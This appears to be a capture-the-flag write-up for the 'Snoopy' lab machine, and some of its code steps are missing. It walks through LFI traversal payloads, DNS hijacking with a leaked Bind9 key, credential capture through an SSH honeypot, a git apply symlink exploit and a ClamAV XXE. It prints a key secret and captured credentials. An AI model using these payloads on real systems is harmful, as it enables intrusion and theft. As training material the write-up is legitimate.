Snoopy
Snoopy
Snoopy
Difficulty: Hard
Classification: Official
Synopsis
Snoopy is a Hard Difficulty Linux machine that involves the exploitation of an LFI vulnerability to extract the
configuration secret of Bind9 . The obtained secret allows the redirection of the mail subdomain to the
attacker's IP address, facilitating the interception of password reset requests within the Mattermost chat
client. Within that service, a custom plugin designed for web admins to log into remote servers is
manipulated to direct them to a server set up as an SSH honeypot , leading to the interception of cbrown 's
credentials. Exploiting the privileges of cbrown , the attacker utilizes the ability to execute git apply as
sbrown , resulting in a unique symlinking attack for privilege escalation. The final stage involves the abuse
of CVE-2023-20052 to include the root user's SSH key into a file via XXE , with the payload scanned by
clamscan to trigger the XXE output in the debug response.
Skills Required
Reconnaissance
DNS knowledge
Skills Learned
Abusing leaked Bind9 secret keys to control DNS entries
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.212 | grep ^[0-9] | cut -d '/' -f1 | tr
'\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.11.212
An initial Nmap scan reveals an SSH service on port 22 , Bind9 , a DNS-related service on port 53 , as well
as an Nginx server on port 80 .
HTTP
Visiting the main website we are presented with a landing page for SnoopySec .
At the bottom of the web page, we see an email of info@snoopy.htb , so we add the snoopy.htb domain
to our /etc/hosts file.
We visit the Team section of the site and find a list of potential usernames, as well as emails.
When visiting the Contact section we see a notice at the top of the web page.
We find the mm.snoopy.htb subdomain, add it to our /etc/hosts file and visit it using our browser.
Since we cannot seem to register a new user, we take a look at the password reset functionality since we
already know some potential users that we could target.
A generic response is returned, stating that an email will be sent if the account is valid.
We then try inputting an email that we suspect to already be registered, given our enumeration on the
initial web application. We try sbrown@snoopy.htb .
This time around the error message is different, stating that an email could not be sent, which likely has to
do with the fact that the mail.snoopy.htb subdomain is offline, as stated in the notice earlier.
It's apparent we cannot do anything here, so we go back to the main website and take another look around.
We look at the landing page again and see that there is a file included, which is the announcements PDF file
given to us in a ZIP archive when clicking the link download our recent announcement here .
Capturing this request in BurpSuite reveals the /download endpoint, and more importantly, the ?file=
parameter which seems suspicious, as it directly references the downloaded file.
We test a series of Local File Inclusion ( LFI ) payloads to verify our suspicion and find one that returns a
valid response:
....//....//....//....//....//....//....//....//etc/passwd
The payload in question tends to work when the backend sanitization functionality deletes
occurrences of the ../ sequence but does not do so recursively. Therefore, by inserting a sequence
of four dots and two slashes, the check can be bypassed.
After forwarding the payload we see that we are given a ZIP file download containing the passwd file.
DNS
Enumerating the file system using the LFI doesn't reveal much. However, we recall the mention of a DNS
migration and decide to examine some DNS configuration files. Our initial Nmap scan revealed that Bind9
is running on port 53 , so we look up default configuration file locations to enumerate the service.
....//....//....//....//....//....//....//....//....//etc/bind/named.conf.local
Reading the named.conf.local file, we see a configuration setting related to the snoopy.htb zone.
zone "snoopy.htb" IN {
type master;
file "/var/lib/bind/db.snoopy.htb";
allow-update { key "rndc-key"; };
allow-transfer { 10.0.0.0/8; };
};
The allow-update directive specifies the permissions for making updates to the DNS zone. In this case, it
specifies a key, denoted as "rndc-key" , which acts as the authentication mechanism.
With this configuration in place, anyone possessing the rndc-key can add, modify, or delete DNS records
within the "snoopy.htb" domain.
....//....//....//....//....//....//....//....//....//etc/bind/named.conf
After downloading and extracting the ZIP file, we see the key.
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";
key "rndc-key" {
algorithm hmac-sha256;
secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};
Before testing the key's validity, we check the existing DNS records using dig .
dig : This command is a versatile DNS lookup tool commonly used to retrieve DNS-related
information from DNS servers.
axfr : This parameter specifies the type of DNS query to be performed, specifically a zone
transfer (AXFR) request. Zone transfer is a mechanism for transferring the entire DNS zone data
from a primary DNS server to a secondary DNS server.
@10.10.11.212 : This parameter indicates the IP address of the DNS server to which the dig
command should send the query.
snoopy.htb : This is the domain name for which the zone transfer is requested. The dig
command will attempt to retrieve all the DNS records associated with the snoopy.htb domain
by initiating a zone transfer.
We do not see mail.snoopy.htb in the list, so we attempt to add it using the obtained key.
nsupdate -k rndc.key
> server 10.10.11.212
> zone snoopy.htb
> update add mail.snoopy.htb. 60 A 10.10.14.23
> send
> quit
-k : We specify the key file to which we saved the obtained rndc key earlier.
server : We set the DNS server to the target IP address; subsequent updates will be sent to this
server.
zone : DNS zone to be updated, in this case, snoopy.htb .
update add : We add a new DNS record within the specified zone; adding an A record for
mail.snoopy.htb with a TTL (time to live) of 60 seconds, mapping the domain to the IP address
of our attacking machine, 10.10.14.23 .
We recheck the dig output and see that the mail domain is now pointing to our IP address.
At this stage we have control over the mail server. If the target configured mail.snoopy.htb to handle all
mail, we should now be able to receive mail, since we have pointed that domain to our machine. We noticed
before that we had possible usernames with a valid way to identify registered users.
We set up Wireshark to listen on our tun0 adapter and attempt to use the Mattermost service to send a
password reset to any of the users we found, using the search filter tcp.port == 25 , which is used by
default for the SMTP protocol.
We can see from the captured packets that the target server did in fact try to send an email over port 25
but the packet was dropped, as indicated by the red highlighting, since we do not have any mail servers
installed.
When installing the service for the first time, we are prompted for a few configuration parameters. For
our purposes, selecting the Internet Site configuration is sufficient. In the second prompt, we set
the domain name to snoopy.htb , as that is the domain used by the emails we discovered during our
enumeration.
The aforementioned parameters can also be added for an existing installation using the following
commands:
When we send the email again, we notice in Wireshark that the packet was not dropped this time and is
not highlighted in red.
We also notice an error stating that the recipient address was rejected, due to the user being "unknown in
the local recipient table".
To receive mail as the user we are sending a password reset for, namely sbrown , there are a couple of
things we need to do. First, we create the user locally.
Then we need to create the /var/mail/sbrown file and change the ownership to sbrown .
When we attempt to send another password reset attempt we see that the email is sent successfully.
We check the contents of the /var/mail/sbrown file.
The email contains a password reset link for the sbrown user. Visiting the raw link from the email results in
an unsuccessful password change, due to an invalid token.
We notice that there are multiple characters that are incorrect in the mail. Using this online converter, we
are able to decode the URL from quoted printable format.
http://mm.snoopy.htb/reset_password_complete?
token=wurhaors93xfqm4dzjatt45ksg6zwi55o1npb3njt7xqeyjawmdjd3yj6bnk3egg
After attempting to use the decoded URL , we enter a password and are redirected to the login page with
the notice Password updated successfully .
Foothold
After logging in as sbrown with the changed password and viewing the Town Square channel, we see a
chat between the staff members mentioning that they have a new Server Provisioning tool.
We search for the channel in the Find channel section and then join the Server Provisioning channel.
If we type /server_provision into the chat and hit send, we are shown a Server provisioning request
form.
We type out the required data, select Linux as the operating system, which specifies that it uses port 2222
via TCP , then point the Server IP address to our local machine and hit submit. When we check
Wireshark we see that the target server is in fact trying to connect to us locally via SSH .
We check the direct messages for sbrown on Mattermost and see that they have a new message from
cbrown after submitting the form.
Based on the intercepted packets and the message from cbrown , it appears that they are attempting to
authenticate to the specified server using SSH . To intercept their connection and potentially obtain their
credentials, we can employ an SSH honeypot such as sshesame. This honeypot is designed to capture the
credentials used for server authentication. To set up the honeypot, we perform the following steps:
We have successfully started the SSH honeypot on port 2222 . We submit another Server provisioning
request and wait for a response.
We have successfully captured credentials for cbrown . We attempt to authenticate via SSH on the target
and successfully authenticate as cbrown using the obtained credentials cbrown:sn00pedcr3dential!!!
ssh cbrown@snoopy.htb
Running the id command reveals that we are part of the devops group, so we enumerate it and find that
sbrown is also a member.
Lateral Movement
We perform some basic reconnaissance and find that we have a sudo entry that we can execute as
sbrown .
sudo -l
After doing some research on Google , we come across a vulnerability disclosure that addresses two
seperate issues within git apply in versions prior to 2.39.2 which when chained can cause privilege
escalation. We check the version of git on the target.
git --version
This shows that the target is using 2.34.1 which is indeed vulnerable. Unfortunately, further researching
shows there are no proof of concept codes available at this time.
On a high level, abusing the two vulnerabilities allows us to leverage symbionic links to write arbitrary files
into a target location by applying a malicious patch. Seeing as we can run the command as sbrown , our aim
will be to write our SSH key into the user's authorized_keys file.
To exploit the vulnerability, we first create a new git repository and create a symlink to sbrown 's .ssh
folder. We ensure that sbrown has access to the repository by changing the ownership to the devops
group and commit the change.
At this stage we create a patch file which will take our symlink file, rename it to renamed-symlink , link
renamed-symlink to sbrown's authorized_keys file and replace the contents with our own
authorized_keys file, namely, our public SSH key.
A new SSH keypair can be created using ssh-keygen . You can then replace the final +ssh-rsa
<KEY> section of the patch with the contents of the id_rsa.pub file that was generated.
After creating the patch file, we apply the patch as the sbrown user and see that it has been applied
successfully, meaning we overwrote the contents of the /home/sbrown/.ssh/authorized_keys file with
our authorized_keys file.
ssh sbrown@snoopy.htb
If you created a new SSH keypair previously, you must specify the corresponding private key, using
the -i <keyfile> flag.
Privilege Escalation
After performing some basic reconnaissance we discover that sbrown can execute a specific command as
root via sudo .
Clamscan is a tool by ClamAV , which is an AntiVirus software for Linux distributions. It can scan the
contents of files and flag potential harm. We perform some research on ClamAV vulnerabilities and find
CVE-2023-20052 which explains that ClamAV 's DMG file parser contains an information leak via XML
External Entity ( XXE ) infiltration. To exploit this we need to understand how to create DMG files, which leads
us to this discussion, referencing a GitHub repository.
Following the aforementioned references, we use genisoimage to create a DMG file and host it on a
Python server.
On the target we pull the newly created DMG file and attempt to scan it.
wget 10.10.14.23:8081/progname.dmg
sudo clamscan --debug progname.dmg
There is no direct information about the file and as such it seems that ClamAV does not recognise it as a
valid DMG file. By running strings on the file, we see that there is no XML plist data.
strings progname.dmg
Using the previously mentioned GitHub repository for libdmg-hfsplus to add the necessary XML data,
we compile and test an XXE payload.
When reading through the file in the repository's dmg folder, we see a file called resources.c which
contains the XML data that we can attempt to tamper with. On lines 97-101 we change the contents to the
following:
This is an XXE payload to retrieve the root user's SSH private key. On lines 689-697 we need to change
the contents so that we call the payload only once. The edited writeResources function then looks as
follows:
abstractFilePrint(file, plistHeader);
abstractFilePrint(file, "\t<key>resource-fork</key>\n\t<dict>\n");
curResource = resources;
while (curResource != NULL) {
abstractFilePrint(file, "\t\t<key>%s</key>\n\t\t<array>\n",
"&xxe;");
// curResource->key);
curData = curResource->data;
while (curData != NULL) {
writeResourceData(file, curData, curResource->flipData, 3);
curData = curData->next;
}
abstractFilePrint(file, "\t\t</array>\n", curResource->key);
curResource = curResource->next;
}
//abstractFilePrint(file, "\t</dict>\n");
//abstractFilePrint(file, plistFooter);
}
We changed the contents to print the XXE data in the abstractFilePrint() function and removed the
footer from the data, which will show in the debug mode of Clamscan . Now we need to compile the
project, merge it with the existing progname.dmg file since it's a valid DMG format, and then upload it to the
target by performing the following commands in the libdmg-hfsplus directory.
cmake . -B build
make -C build/dmg -j8
build/dmg/dmg progname.dmg c.dmg
python3 -m http.server 8081
Then on the target as sbrown , we grab our payload using wget and save it to the scanfiles folder.
cd ~/scanfiles
wget 10.10.14.23:8081/c.dmg
Unintended Solution
Prior to the patch, checking sudo showed that we have complete access to use clamscan with any options.
The clamscan utility has a specific command line argument that allows users to scan from files.
To leverage this we use the following command to scan files from the contents of a file.